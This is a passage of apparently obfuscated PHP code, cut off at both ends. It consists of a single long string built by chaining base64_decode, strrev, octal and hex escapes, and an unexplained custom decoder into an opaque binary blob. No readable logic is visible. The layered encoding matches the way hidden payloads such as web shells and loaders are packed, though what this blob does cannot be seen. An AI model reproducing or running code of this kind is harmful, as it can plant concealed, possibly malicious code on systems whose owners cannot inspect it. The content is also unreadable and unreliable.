%p9?~M').base64_decode('As2sscm5AKffOs88O6aJeFIrYKGaRYMkFAf4gVw54mNQpiB4KTaKkJC1m1BiORMF').strrev('(H2hNcNQL9t4PZCjbR2N8h').base64_decode('TkwBk1E2OXlKJl9wGb5JrpRu2gGAk8mRHhCkTvlr9pRZgBUh6ZfkzCFdAgZsxyyI')."\30\51\110\243\245\50\121\250\224\212\117\22\151\21\332\137\151\102\60\213\41\43\151\41\57\341\275\351\26\16\140\156\43\40\343\351\220\145\261\5\114\273\211\57\161\20\120\6"."\141\134\230\140\273\257\334\161\105\13\17\17\11\355\21\132\24\256\70\100\267\177\100\113\247\143\354\42\113\376\56\115\52\313\41\313\27\104\124\171\170\121\122\250\174\362\120\66"."\53\256\377\275\341\61\263\320\155\57\147\222\41\143\146\153\41\214\57\273\216\53\7\343\114\216\274\355\334\204\272\227\214\167\243\352\261\111\226\61\220\234\230\306\362\141\164\312"."\67\145\214\274\156\363\303\332\262\313\341\254\377\307\264\161\351\310\343\35\62\326\162\301\161\222\304\32\153\261\15\351\62\7\301\305\262\2\145\361\43\274\204\60\1\342\100\12"."\250\216\213\244\212\223\362\245\355\344\132\41\150\373\322\361\300\107\126\44\206\266\147\371\65\353\115\247\63\241\65\301\201\43\374\244\225\63\341\50\74\227\143\25\312\343\171\141".strrev('D@{Vv/w}v_~͆xRE*#ӓ|')."\44\64\30\117\131\332\145\36\361\370\301\343\77\373\343\153\257\77\122\167\345\165\107\77\272\351\330\63\332\172\56\332\36\276\252\171\343\101\27\236\263\326\270\377\260\367\237\71"."\147\312\63\357\373\372\373\107\27\177\331\173\173\333\245\247\35\124\375\366\36\305\347\256\232\261\342\212\275\376\366\322\270\25\307\146\176\366\325\45\157\237\363\323\347\376\372\253".base64_decode('J98/fsnkib+c3f/MU8/M3j3nwicavjzy8y+/+v7r4xY0zJp4Rcz+bkbb47//88Sf')."\x2f\x3f\x7f\xd3\x43\xcb\xee\x7a\x6a\xc6\x33\xe3\x2e\xfb\xcb\xbe\xdd\xf3\x3e\xed\x98\x7a\x7b\xc2\xbe\xe3\x91\xaf\x87\xf\xdc\xe3\xe5\xc3\xce\xfe\xef\x99\x3f\x5c\x33\x6b\xc3\x86\x3\xaf\x7f\x76".base64_decode('5/rwzj0mVB338azRP2g3tV1xcvWZkR9f59/22O+0pnfeOW3bIf03vLR14u7Z5o4b').base64_decode('Jzz2xto797j12hfevfryG948KrCo7qhP6ovznvts7Q0vbo9sue3Z3V3vPdN3x42V').strrev('ߗuuW.-~$>^X$^O')."\16\374\367\337\173\370\16\75\167\311\323\37\135\231\373\374\166\343\230\137\277\377\257\107\56\72\277\156\374\21\73\367\231\76\373\332\127\303\53\307\115\234\271\346\200\303\217\271"."\377\230\263\133\52\103\325\227\7\277\67\376\324\302\65\167\176\130\355\324\77\267\156\366\343\147\317\372\374\241\223\42\367\36\260\356\344\77\5\66\364\345\366\334\74\270\377\45"."\x8d\x8f\x7c\xb8\xf1\x85\x49\x4f\x1d\x35\xfe\xe0\x43\xc7\x3f\x30\xff\xf7\x8f\xbc\xbb\x57\xeb\xe9\xb3\xfe\xb8\xff\x7f\x9e\xba\x75\x63\xac\x6b\x7b\x6a\xda\xfa\x9f\xef\x7d\xea\xcd\x9b\xf\x6e\x3c"."\166\323\272\301\350\55\27\76\322\367\144\353\57\146\30\65\355\371\304\336\203\277\174\350\350\151\77\274\274\151\357\227\256\173\360\303\153\16\215\76\76\364\371\61\125\167\34\121"."\273\143\244\341\114\343\206\251\223\276\77\64\267\352\351\232\75\366\374\344\243\43\157\250\330\320\277\356\316\13\136\172\151\357\337\237\356\277\343\67\127\347\136\236\276\163\311\241"."\317\34\160\361\246\113\16\273\370\371\345\77\353\374\367\375\207\275\72\361\225\266\5\332\201\7\356\175\372\223\227\214\354\252\330\357\251\205\167\56\155\252\163\156\272\355\345\73"."\123\213\2\343\176\177\357\262\173\236\321\156\375\313\305\33\137\371\373\323\15\31\337\176\347\45\347\77\261\365\350\11\247\117\337\367\262\232\203\36\276\363\275\263\376\164\151\303"."\305\307\124\74\171\312\73\23\17\254\276\354\336\263\266\73\173\365\125\274\165\352\33\317\75\372\362\131\177\335\347\334\163\73\66\174\167\303\137\157\315\177\276\162\175\174\144\377"."\127\176\264\346\127\377\274\350\312\217\72\127\307\136\177\376\361\161\65\127\214\337\177\217\267\212\147\215\67\336\274\373\235\175\163\247\114\77\61\123\374\203\262\275\152\151\217\366".strrev('0*~>_0rSܢ]NG1[8?')."\xfa\x8e\x57\xae\x3c\xee\xaa\x97\xf7\x18\x77\x7c\xcf\xc5\xcf\x86\x2b\x16\xe5\x7e\x70\xd0\x87\xef\x4e\xb8\x67\xdd\xdc\xb\x56\x6e\x5c\xbe\x75\x7b\xf8\xa3\xc7\xaf\x5d\xfc\xdb\x2d\x93\xde\x5f\xff"."\243\247\126\157\134\266\355\370\223\377\370\306\53\77\30\172\375\345\267\152\16\31\277\307\342\317\242\177\77\366\370\33\27\377\155\351\71\376\137\274\60\163\313\212\55\277\31\336"."\362\345\173\327\334\373\303\165\227\316\74\345\221\376\325\63\377\156\234\161\326\270\316\266\217\356\72\151\376\275\217\235\376\372\303\133\237\256\74\146\322\336\321\304\316\357\334\262"."\x30\xf6\xe2\xe2\x3b\x87\x57\x1d\x71\xb3\xb9\xc5\xf7\xd4\x8f\xea\xf5\x1f\xff\x6a\x9f\xc3\x5e\x3e\x71\xc2\x21\x83\x57\x7f\x76\xc2\x80\x7a\xd3\x9d\x2f\xff\x2a\xb5\xed\x85\xd7\xef\x7f\xe3\xb1\xdf".base64_decode('vPqO89nES5p3Thw3PHL+hR/ffvAfphzae8+enzSe89bjG5c99/Mb75v8i/Grjr6/')."\x78\xd4\xb5\x2f\xb4\x19\xf\xef\x35\x7d\xeb\x35\xfb\x7d\x50\x78\xd5\xf2\x1f\xfd\x71\x42\x9b\xa0\x5d\x99\x8d\x1f\xff\xf2\xd2\xfc\x91\xff\xb8\x67\xcf\xfb\xde\x58\x39\xb3\x7f\xa5\xf9\xbb\xfa\xcd".base64_decode('P3j66OPe/Oy5jYMzBg6uO++Jt/Y/om3SutzG8EF7PdZ2RMPck9P24O/fnjBnqs+Z')."\xe9\x9b\xf3\xf3\x9f\xf5\xdc\x3d\x21\xf4\xd6\x4f\x4f\x6b\xed\xbe\x6b\xab\xff\xbe\xd7\xb6\x25\x1f\x5c\x7e\xe3\x1f\xed\xfd\x7e\x3f\xf1\xcc\x9\x6f\x4c\x4a\x9d\xf1\xd0\x86\x27\x92\x53\x1e\xea\xbb".strrev('Mg0?o|Wzy>'."\n".'n9K').base64_decode('4cYb3jvxwS2fHv50y03PHTjzsHF/Of/6m++46d/Lo2/e8d7bX5149a8eOfM7l+1j')."\x6c\xd8\x7f\xfd\x27\xf\xcd\x7a\xc6\xff\xc1\x77\xde\xf9\xea\xbd\xf8\x73\xb\x66\x7d\x7f\xb2\x6f\xfe\x3d\xf7\xd\xfc\xec\xde\xd1\xda\xc3\x17\x6e\xda\xb2\xa5\x35\xf9\x60\x74\xed\x7b\x6b\xb6\xcf"."\xdd\x7a\xa4\x39\x6f\xda\xeb\xc3\xef\x7f\xf4\xc0\x35\x3f\x39\xb1\xea\x8d\xb3\x4f\xe9\x3e\xf5\xe0\x75\x85\xe0\xe0\x69\x81\x25\x7\x6f\x7d\x64\x5e\x72\xc5\x1d\xef\xff\x7d\xe7\xbf\xbe\x7c\xf9\xd4".base64_decode('5ZO3bvXrF3yQfv+RjePOqZ/zxvXZox9594sLn3326w9ve/IvP71n7T/f3R579oF1')."\x1f\x7d\xfc\xf1\xd3\x97\x7c\x1a\x7c\x6d\x6d\xf1\x93\xb7\x3f\xe8\x3f\x6a\xdb\xdc\xaf\xbf\x78\xf6\xd0\x9b\x4e\x50\xbf\x78\x7f\xf7\xd2\x1d\x1b\x5e\x3b\xf2\x9f\x27\xcf\xff\xe2\xb9\xf5\x37\x7c\x31".base64_decode('y5jZ8Enm+EcPOq/557u7W3+0/vHN3//+Wx/OfPiQj6+/bumtv9h3yoXr9w/N/OXg')."\372\365\65\7\334\326\176\134\375\65\107\276\374\301\377\374\145\371\360\214\207\37\231\167\312\365\137\255\270\341\61\143\121\117\344\312\145\205\347\47\34\34\257\172\142\307\161\263"._kodDe('MorTVOO+ZKm4aKKH6o8FmoPK9zHiq+aL265f4v+6wuoBO2Vu5Knb6SvBesJ7irKRKw==')."\345\323\237\250\107\75\361\235\35\67\77\321\163\343\211\203\43\211\63\177\241\156\162\166\357\367\326\25\351\337\235\235\375\365\77\107\353\246\334\376\207\63\246\37\176\307\243\367"."\x8c\xbb\x6d\x40\xf9\xed\x39\x77\x57\xed\xa1\x55\x3e\x3c\xf4\xd8\xaf\x4f\x7f\xb2\xe5\xbd\x85\x67\xbd\x70\xcb\x5d\x9f\xff\x24\xe1\xff\x70\x6e\x34\xb3\x22\x78\xd8\x77\x4f\x3a\xea\x8d\x5\xfd\xf".base64_decode('Pb+pvvL4usbX00eYn/sr5239ef/8r3f//vPQSO2hzz/6wAvWq8v+/Ksnnpt48aEf')."\257\230\163\330\123\373\175\174\305\337\106\376\374\343\167\223\267\26\116\134\175\303\136\173\337\161\362\250\161\333\155\366\212\23\212\343\317\335\174\342\175\211\71\231\135\221\3\177"."\262\353\255\217\116\156\174\361\342\247\166\235\373\352\222\253\157\132\263\271\357\47\277\173\67\335\360\301\373\331\233\162\377\366\375\155\316\77\136\373\353\335\333\356\77\357\372\77"."\x5f\x72\xe9\xe1\x8b\x27\x9f\xf9\x3f\x3f\xfc\xa4\xf5\x13\xdf\xbb\x1b\xae\xfd\xed\x27\xb7\xec\x9e\x52\xb9\x6c\x4d\xf3\xf2\xcb\x2f\xda\xbf\x6b\xf3\x51\xaf\xf6\x46\x4e\x99\xbd\xcf\x86\xf3\x47\x77"."\xee\x19\x3d\xc9\xfc\xfe\xcb\x7\x9e\xb3\xe4\x1f\x87\xbf\xfe\xf0\xf3\x6b\xae\xaa\x3d\xe3\x8d\x87\x2b\xc3\xff\x19\xaa\xef\xed\xec\x79\x3b\xb8\x75\xc6\xbf\xaa\x95\x3b\x7e\xfb\xd0\xdb\x67\x36\xd4".base64_decode('/eFIpWIf/4v33XbZhn9Uf//KmRPO8f9n3m8mD9R/Vdj03mXjqv/xn+r6M/74xt3W')."\321\7\216\274\320\74\341\231\53\32\356\172\145\225\162\365\53\351\234\376\263\207\117\175\354\310\303\117\125\66\277\271\363\300\171\313\37\351\173\366\203\145\27\334\273\357\131\273"."\176\162\350\137\153\247\276\172\350\251\23\336\10\17\234\176\102\325\252\171\135\47\154\330\371\342\37\73\237\375\370\235\357\255\234\165\141\356\200\113\327\234\76\361\214\366\332\103"."\xfb\x2a\xf\xac\x68\x4d\x9c\xf4\x9d\xee\xf5\x87\x3c\xf0\xde\xee\x97\xee\x7b\xae\xed\xaa\x59\xab\xb6\xec\xf7\xc2\x17\xe1\x2f\xcf\xba\xfd\xda\xfd\xc7\x9f\x7f\xd5\x3d\xf\x2c\xb9\x7d\xfb\xdd\xbf"."\35\167\310\125\17\57\276\365\346\13\216\175\112\77\74\172\115\133\327\35\55\175\243\67\57\231\371\142\317\252\135\303\53\156\73\255\353\277\177\372\356\212\321\203\366\354\131\353"."\334\76\173\355\105\237\276\270\340\211\300\121\357\275\233\274\357\300\351\133\126\156\173\316\150\237\273\356\366\233\227\75\367\313\37\237\367\364\336\357\137\60\143\376\301\205\315\67"."\167\255\170\345\325\33\147\116\71\142\321\223\261\313\12\103\273\366\311\256\73\352\372\227\356\274\361\224\367\177\327\74\357\374\63\233\147\56\73\377\312\47\37\77\53\371\363\263".base64_decode('e+bdsDOx3t96b+WFe934a+WnyvDG/L+vqHrsnC9+c9Cyg68eueqQFz598dFlS+bs').strrev('?wσ;v}'."\r".'_Ca/umVw~X').strrev('y_Om/<^x:8')."\xbf\x60\x3e\x3b\xef\xcb\xff\x6c\x7f\xe7\xc1\x13\xbe\x7a\xe7\x9f\x5f\x7f\xf5\xf9\xbe\x27\x5c\x1f\x3e\xe9\xab\xf5\xc5\xaa\x86\x9\x4f\xed\xf5\xce\xd3\x6b\xf\x3f\xe4\x77\x5d\x9f\xe6\xb7\x3d\xf9"."\x97\x57\xbf\x5c\xf0\xd2\xda\xdb\x96\x98\xd3\xef\xba\xb3\x6b\xce\x7d\xef\x6d\xfb\xb2\xfd\xd3\x2b\xae\xfd\xf7\xf7\xce\x3e\xeb\xa8\xb9\x6b\xf7\x1c\x7f\xea\xc4\x1b\x5f\xff\xc3\xbc\x1f\x1d\xf3\xf8"."\243\257\156\370\317\364\213\236\331\265\351\117\153\257\134\266\242\247\53\150\46\157\375\364\104\145\372\301\17\154\77\371\346\327\17\153\214\375\143\371\1\23\336\270\45\177\313\312"."\347\176\162\260\272\375\270\357\166\75\366\330\145\241\103\152\117\13\315\334\172\317\161\373\355\376\372\273\331\275\136\76\367\314\203\230\241\105\335\114\120\271\252\235\15\162\331\232"."\x59\x75\xf4\x63\x5a\x1d\xdc\xb8\x5a\xbd\x83\x46\xca\xf4\x48\x6f\x47\x7\x87\x35\xa6\x5d\x2\xea\xe4\xd3\x66\xcc\x84\x42\xa7\x2\x31\xb5\xca\x18\x1a\xc9\xda\x70\x21\xdc\xbf\x7a\x54\x1f\xb2\x40".base64_decode('yJRPjxYGWGDa1OmsyjrGjYyksr0Q3d/rjGjMNGBaHTTY7sume1OraGD6bMhYVwdt')."\x28\x98\xbd\xf9\x81\x51\x10\x4e\xcc\xac\x81\xae\xcc\x9c\x3e\x9d\x35\x11\x3e\xe0\x67\x76\x1d\x34\x79\xc6\x54\x50\x45\x1a\x1c\x1e\xd5\xcd\x2c\xdc\xbd\xd5\xd6\xcc\x86\x74\x50\xbc\x35\x3c\x98\x1b".base64_decode('GAL6srC6Pz9kAqE6OpAbckzoc910yJfRVw2nU6thiNm4asbgAPRAQ3zXKqYZo9kD').base64_decode('/UOrQEg6bTr0bfo06Hoqm7Y0HTKmjDTiKqCdM2pnsemEtL2jeXvAhMEbLKzKW6tz').strrev('3V`jkZ)(2Vѓ8=+a00ƊeIfCPl')."\66\343\66\246\117\207\46\314\142\203\260\272\157\164\330\110\1\73\133\67\13\226\115\161\304\301\243\11\65\232\175\253\162\171\140\167\152\330\232\254\235\1\115\55\146\6\106\373"."\15\20\101\256\356\65\207\122\114\337\266\167\244\220\263\122\60\354\63\146\102\331\371\341\1\303\314\0\164\66\133\5\251\134\161\70\153\60\26\162\260\177\70\347\260\165\64\35"."\62\316\232\15\65\232\5\143\44\317\164\202\153\247\1\64\73\122\34\310\14\102\107\63\251\125\271\76\336\353\132\266\302\152\141\332\146\262\251\310\331\253\213\275\131\46\275\112"."\x6b\xfd\x43\x39\xe8\x49\x4d\x1d\x94\x3b\x73\x16\xa4\xd5\x47\xb3\x3\x43\x4c\xc1\xae\x37\x35\x68\xe7\xb2\x50\xc1\x70\x5e\x73\x72\x26\xf4\xba\x76\x26\x8c\xd0\xc\xd6\xde\xe9\x33\x61\x85\x4e\x9b"."\x9\xd\x31\xf4\x61\x6b\x74\x28\xc5\x96\xea\xe0\x70\x86\x31\x7e\x35\xac\x3b\x3\x23\xa3\xf9\xfe\x55\xb0\x59\xea\x66\xc0\x74\xf5\x59\x7a\xbf\xc9\x78\xa8\xe9\xd3\x0\x3a\x6b\x6\x54\x39\x9b\x55"._kodDe('MGknCzTNiQ9QcYOAA8PYJ3lklAiEPAag5SDfmcCzIe/PHESnyada4nrHWMOPYDpJww==').strrev('lEg^P\\@'."\0".'3h;-HJ;\\z\\scJ;zò')."\x56\xe9\xf6\x48\x16\x86\x61\xd4\x1e\xd0\x7a\x57\x1\x7b\x39\x83\xa1\x95\xfc\x0\x56\x63\x84\xf4\x46\x6e\xa0\xb8\x5a\xcf\xb0\x61\x63\xb\x60\x36\xeb\x10\x2c\xb7\x9a\xa9\xb3\x18\x64\x6\xdb\x9d"."\xd3\x18\x96\x4a\x67\x46\xb3\xb0\xf6\x6b\x6a\x6b\x19\x72\x9a\xcd\x6a\x1b\xb5\x73\x16\x5b\x24\xc\xf7\x8c\x6a\xc6\x90\xd9\xb\x1a\xc4\xcb\x73\x30\x41\x8d\x5a\x6a\x80\x9\x88\x11\x63\xec\x14\x6d"."\x4f\x2\x6e\xbd\x93\xf\xe4\xb4\x3c\x57\xb3\x69\x85\xed\x9d\x92\x35\xbe\xe5\x4\x3\xba\xce\x74\x85\x99\x36\xb2\xd0\xe3\xb0\x8b\xc4\x5e\x2\xe0\x46\x4e\x17\x92\x6e\x7a\xb7\xc0\x72\xa\x4e\x1e"._kodDe('Mjl3ORAI/LQ4kJF63nkAmi5wxEZP40hWcPGh91za7x8qShhG0lD+oqRYKRxG7yA2VA==')."\263\146\61\355\52\65\335\353\52\223\103\231\350\301\33\323\67\6\34\225\343\122\334\145\60\327\140\365\222\331\123\345\100\200\15\167\257\64\263\124\374\356\240\3\42\40\203\375"."\162\254\221\107\255\310\146\3\156\343\103\225\374\201\61\240\6\156\266\76\130\324\363\342\112\333\36\220\6\36\133\15\166\166\250\311\120\142\221\244\372\207\255\332\330\162\122\205"."\146\266\324\55\121\202\64\216\362\14\272\207\200\255\220\67\157\272\157\347\331\27\354\72\377\346\135\233\267\356\274\367\334\67\267\336\274\163\333\371\50\270\343\356\263\166\156\275".base64_decode('7K2LT9lx9+Ydd69/87TbP7j/zJ1n3/Tmydt2XnrdzmtO23HftjcfPG33dZt23H3j')."\xae\x4b\x37\xee\x3c\xe5\xce\x1d\xf7\x5d\xb0\xf3\xf4\x2b\x76\x9e\x76\xf6\xae\x73\x37\xef\xd8\x76\x29\x4a\xbf\xeb\x74\x51\x32\x4a\xb6\xf3\xc6\x8b\x70\xde\xfb\x7f\xb6\xf3\xee\xbb\xdf\xbc\xf2\x3a"."\36\373\301\375\47\1\42\203\75\275\120\167\260\61\40\323\347\42\243\243\314\123\140\101\352\166\100\351\310\352\150\204\225\124\106\117\15\140\345\57\47\243\133\212\103\224\300\64"."\xf4\x37\x6f\xe6\xfd\x74\xc1\x51\x43\x4b\x5b\x31\xf2\x38\x5a\x61\x73\x13\xe0\x8b\x32\xa9\xe7\xa\x78\x69\xc1\x28\x5\xa9\x31\x96\x4b\x1b\x5c\x5a\x7f\xe5\x86\x99\x46\x94\x59\x56\x78\xac\xc5\x5c"."\125\341\117\270\260\303\222\100\245\117\103\200\164\275\322\207\262\51\314\246\102\161\114\366\235\33\345\223\356\331\4\145\247\225\67\203\115\155\77\27\310\13\71\61\64\114\322\355".base64_decode('p5cyJUuK7Co3SnDtNzcykaPcIwGCXKJP4FNoU3wKuUVW3JaHWD+A3bnLe0xuvqUX')."\262\322\175\122\141\264\354\40\312\255\221\257\260\75\135\113\224\31\106\336\71\127\44\332\327\105\247\114\102\171\264\145\301\261\141\66\145\21\242\23\367\236\344\206\137\164\203\6"."\x85\xc0\x1a\x55\xc4\xf1\xa4\xa5\xa7\xd\xa6\xb4\xac\xe7\x48\x4a\x66\x8\x40\xc4\xe4\x5c\x5b\x3a\x85\xb6\x80\xe5\xba\xed\x9a\x3b\xbf\x90\x29\x60\xbb\x6d\x67\xce\x7c\xb0\xf\x85\xdb\x43\x55\xaa"."\x17\xbe\x85\x29\x8a\xc\xcd\x7a\x6f\xd0\xf8\x86\x69\x6e\x94\xac\xa7\x71\xb2\x7a\xbf\xdf\x2f\x49\x82\x85\x9a\x1a\xfe\x82\xe2\xc4\xcd\x32\x82\x85\xf1\x6e\x1e\xb\xde\xcc\xf5\x2d\xd0\x36\xef\xef"."\327\155\247\236\130\165\51\123\24\324\320\131\201\32\364\101\66\304\214\300\114\364\111\106\11\66\161\67\214\134\321\146\246\26\223\2\323\341\230\266\347\200\262\310\34\202\113\32"."\xa4\xe6\x3\x5c\xe4\x2a\xe6\xb3\xc\x8a\x3e\x51\x92\x78\x31\x8f\x67\xb8\xde\xdd\x67\x3d\x9f\x96\x32\xcd\xd1\x52\x8e\x54\xaa\xda\x7\x83\x1a\x10\xe3\xa1\x4d\x11\xf1\x7a\xfa\x68\x98\x18\x69\x94"."\x86\x21\x1\xcb\xdb\xe6\x9e\x77\xd4\x7f\x3f\x5f\xa\x68\x7a\x11\xb9\x90\xb6\x89\x92\x2b\x9c\x38\x50\xa4\x2d\x19\xbc\xc6\xc5\x2a\xc2\xd9\xc9\x70\x7d\x43\x56\x47\x9e\xf2\x2\x22\x49\xf2\x5c\xbb"."\xd5\xce\x6a\xec\x66\xd2\x46\x74\x8a\x91\xd7\xf9\xfa\x2b\xda\x42\xc5\x5f\xeb\x3\xb\xbf\x48\x5e\x86\xd0\x6f\xac\x27\xae\xa2\x93\xde\x96\xb6\xbb\xda\xaf\x3b\x2a\x10\x3f\x36\x3b\xfa\x12\x91\x26"."\265\43\304\214\77\264\102\41\150\247\7\354\40\126\315\64\206\364\250\321\33\304\346\264\170\115\6\270\301\51\71\3\124\255\327\264\34\151\247\250\151\3\232\26\215\64\252\315"."\21\320\276\14\165\104\324\104\42\46\125\102\114\367\226\251\213\142\315\152\123\54\266\50\2\53\34\346\264\136\102\302\330\324\113\134\167\343\220\60\371\302\67\104\262\262\233\114".strrev('`5'."\r".''."\n".'P-"5S35[EP\'|r`')."\x0\x64\x68\x8d\x2d\x55\x9a\x62\xd1\xce\xb6\xf6\x4\x35\xad\xa7\xf0\xf6\x98\x14\x4f\xd4\xb1\x21\x9a\x79\x20\x28\x8d\x86\xe2\xc3\x1d\xd1\x50\x53\x58\x89\xb4\x27\x63\xcc\xde\x82\x6b\xc4\x12\x4b"."\233\4\17\263\41\260\154\235\173\30\200\374\64\40\133\3\311\45\362\222\140\207\164\371\52\273\53\272\47\167\127\165\127\257\14\164\333\75\101\351\130\64\344\351\201\100\107\63".strrev('~AQdgeϻ3QMCŋ0bĉm$Xmt').base64_decode('s10X3omoIEz5bD1z9wNn7Trvpl1nAsWivHnTXTu2Pbj7vOt2br1o1wX37P7lBhrx')."\326\365\267\354\74\343\72\336\60\345\255\163\37\330\165\326\257\71\65\104\211\40\37\312\375\326\51\233\167\157\333\212\151\241\253\327\357\272\143\323\256\113\67\357\74\343\312\235"."\x17\x5f\xb7\xfb\xac\x9b\x76\x5e\x75\xf2\xce\x53\x37\xbf\x79\xd3\xf9\x47\x7b\x17\x12\xd\x77\xb1\xa9\x0\xb\xcc\xe0\x9\xd8\xe0\x94\xe\x6f\xb7\x3d\x5\xf\x6d\x35\xfa\xad\xc2\xe6\x1b\xe8\x97".base64_decode('aaETzeTFneH2prDXHEoOgnuGyXSFUNUbIFxtcO/AwsTKu6FyzFashfmXGiU1pjmc')."\150\212\107\32\303\140\40\300\47\152\22\41\335\100\357\2\101\23\361\45\374\233\133\0\226\270\323\120\252\330\142\256\126\134\35\321\2\51\63\133\314\345\111\143\225\12\254\151"."\x52\xe1\xc3\xa8\x84\xd8\x66\x29\x15\xf8\x78\x46\x0\x3d\x85\xb6\x5e\x15\xb6\xc1\x27\x2a\xc5\x95\xcb\x2b\x7d\x53\x7d\x35\xd5\xa\xf8\xda\xa0\x39\xc0\xc3\x86\x52\x1\x7a\xea\x3c\x9f\xab\x12\x5f".strrev('3^]~qXPHnX4_4VҚUQ\\b]*TZT+')."\122\1\221\203\316\23\112\341\205\51\241\366\146\167\112\352\154\243\243\222\350\154\246\2\16\67\346\147\323\134\131\255\364\202\331\105\231\110\222\315\65\30\15\256\301\250\232\2"."\x78\xa2\x63\x21\x9f\x6f\x6a\x53\xa1\x50\x93\x3b\xda\x2c\xcd\x66\x13\x5\x50\x32\x55\x18\x4a\x67\x8b\xa5\x35\x51\x37\xd0\xe4\xd0\xf4\xe8\x83\xc7\x60\xeb\x3\x5e\x12\x42\x47\x3c\x82\xcd\x20\x86"."\363\111\54\23\107\274\240\124\120\362\222\366\63\147\367\63\124\7\336\67\332\226\363\76\260\265\254\60\72\207\373\120\301\306\203\341\144\123\53\135\345\11\151\231\247\173\47\271"."\26\252\30\116\305\265\104\70\217\2\351\350\166\301\10\141\42\111\27\151\157\211\305\333\250\321\134\242\251\65\334\26\12\0\22\247\53\201\246\307\104\234\322\240\124\142\314\107"."\101\225\256\341\47\25\261\41\113\222\132\321\276\122\35\104\221\321\121\50\364\103\143\140\366\25\142\16\255\221\54\15\225\324\157\1\24\311\235\375\304\342\111\25\15\0\240\147"."\x9\xeb\x56\x4a\xa7\x85\xa4\x6e\x8e\x6d\xbf\x86\x18\x73\xd1\x87\x48\x2c\x93\xb9\x6b\x48\xf7\x32\x9f\x40\xa8\x70\x5c\x66\x53\xac\xbd\x25\xc2\xec\x3\x9b\x81\x75\x2f\xa4\x4d\x57\xa2\xe6\x78\x4".base64_decode('G8ZD/QorSrLKRAGh5YECheE0/xY23jiCn/koII58FOCHDU4lOS/C9Sfa+begolGg').base64_decode('M8HsQjD2XdrMv1u5cS+OiMWlQCgeakvwYHwptzPhMGpvorZ3tgmMHw0tQYslJggU').base64_decode('hq2rApPnV3dTEz76SX8WsBA2a+pZU+NT6tZVQxpm9KY6GSPPyFhcy+KoGo0tpGHi')."\x54\x29\x9c\x4f\xb\x46\x47\xe9\x52\x10\x4d\x9d\x14\x34\xb5\xcd\x8e\x2e\xbe\x1b\x14\xb4\x86\x15\x6a\x17\xac\xb4\xc7\x96\x86\x84\x9f\x1e\x29\x2\x20\xc2\x6d\x4f\xf0\x84\xae\xee\xe1\xee\x0\x22"."\26\354\225\302\44\257\271\121\141\144\110\23\21\24\120\171\2\344\16\261\143\164\245\17\116\14\65\153\366\63\237\33\10\41\62\162\201\376\56\143\37\4\127\102\6\304\75\27"."\262\314\66\217\32\5\252\335\153\273\217\353\366\7\250\35\44\46\136\272\175\242\111\152\170\31\72\143\23\11\227\21\247\112\134\321\100\351\250\227\360\105\167\55\15\314\205\37"."\140\353\346\2\171\12\301\171\15\174\62\303\213\327\266\243\277\13\223\153\303\350\157\24\375\104\223\150\272\14\236\0\155\311\150\144\121\170\55\376\107\104\124\363\201\244\346\116"."\356\14\221\366\265\350\137\204\140\326\106\332\275\205\65\206\223\113\303\141\232\200\175\303\257\110\212\20\16\164\125\162\272\205\355\11\40\132\330\27\100\321\252\132\105\6\323\337".base64_decode('M6VaVYN2J6wX7vygqvLYmko4Q0KJJoF9XQuidC0Q7X/3QuCupCC8MB7r7JDCraEl').base64_decode('kfaFLBSczL4mQ9FKcySBhqiJLUbh4UoOA8FJyCKZ6nUt6WaE2VFAItkxM0Axs3uX')."\65\166\106\242\315\262\335\72\116\10\7\12\301\352\160\246\114\142\215\143\141\142\301\316\2\170\310\331\67\131\156\54\100\306\200\5\350\0\260\20\31\56\26\40\236\264\130\200"."\164\224\5\60\167\22\156\147\161\210\375\104\254\43\343\51\63\332\20\67\274\234\223\356\225\234\44\140\34\34\240\42\70\354\37\3\61\207\32\27\224\172\244\254\104\340\45\311"."\x14\xa8\x46\xa0\x22\xd9\x7f\x7\x29\x8\x51\x9b\x4\x88\x7e\xbb\x57\xce\x27\xd4\xf0\x4a\xb6\x30\xa9\x91\xb1\x93\x34\x9c\xac\xab\x16\x30\x46\x44\xb5\x44\x88\x5\xa8\x54\xf\xb3\xc0\x20\xe2\x45".base64_decode('1ZRE3OSglgFCoEXl4SA7FnIhrAlJpMo06GahOF5ayTkjcNzgg19o0f70pxuCTB4C')."\126\65\225\76\70\144\231\45\206\233\351\356\356\256\30\153\264\40\1\33\63\10\126\320\40\313\145\360\63\57\225\301\316\66\124\47\307\344\351\204\71\23\222\153\52\375\26\341"."\346\170\254\203\122\40\112\244\105\241\256\34\224\112\52\57\257\4\322\252\51\36\306\273\203\246\142\161\125\225\56\111\327\274\112\5\354\272\253\335\271\42\355\315\341\145\112\245"."\x91\x1e\x51\x35\x4d\x85\xcc\xa\xda\x8b\xac\x20\xa5\xa4\x24\x56\x2\x6d\x2b\xdc\x16\xd9\x19\x73\x58\x91\x97\x17\xe3\x97\x9b\x28\x2c\x29\x96\x5c\x9\x69\x46\x9c\x32\x30\x1b\x5a\x1f\x30\xe5\x3c".strrev('> a,*4Ah"* P|@N>zJ4v@*4R')."\20\204\202\271\43\53\247\121\303\122\102\263\5\126\202\220\140\245\213\104\244\304\43\46\22\141\5\221\43\117\352\23\217\41\222\2\72\314\262\34\141\21\120\335\64\324\21\217".base64_decode('tIXiy2HIBA8AO9DMusyLRcCwOyUD93bUatngnc4xx7CIn2UYFrUGNgCeeSB4qOND')._kodDe('KdCKKCQ/FqgK6/gEpjzbzXcmQE0WlgMTEagHYPtbFIM6Iop5sztcPXE+181bGrMOyQ==')."\x95\x21\x30\x54\xca\xa2\xf0\xf2\x6f\xd8\x23\xac\xa5\xe5\xf6\x8\x8b\x63\xe2\x18\xbe\xdb\xa0\x3f\x55\x33\xa0\x7f\xd4\xb5\x45\x55\x2d\xe2\x49\x8b\x79\xdb\xe8\xcf\x73\xbf\x70\xd0\x2a\x38\x5b\x3b".base64_decode('kzEVnR/xMMbm0CM+rFJ7Jb5bnhQoBifgbi6/oWssTbmu8fxc8hRuXxhpDze0jUYS').base64_decode('oTaFNRxka9gb3CwoJxJTo4gmVmXxWSQG8uNAr+zXRBXuUQKa0A53rKLkndAwiSZ2')."\x1b\x37\xda\x20\xaa\xe3\x68\x41\x84\x84\x5b\x4\x2e\xe3\x26\x71\xc5\x5e\x9c\x5b\x3e\xae\x20\xbf\xc7\xa3\x9f\x61\xd6\xe3\x18\x9c\x98\x52\x29\x73\x44\x72\xd5\x55\xb9\x57\x15\x5b\x6\xb\xad\x70".base64_decode('cS3MrqHROeTK0Cm5NcCZFVYhuRjKu5uHzsusih2LIHZQ1UVvcrpt8+thwvywTycj')."\xbc\x3a\xc8\xe\x15\x9b\x1b\xd9\xc8\x15\xf3\x4e\x42\xcf\x82\xc0\xbe\xb9\x97\xe8\xd4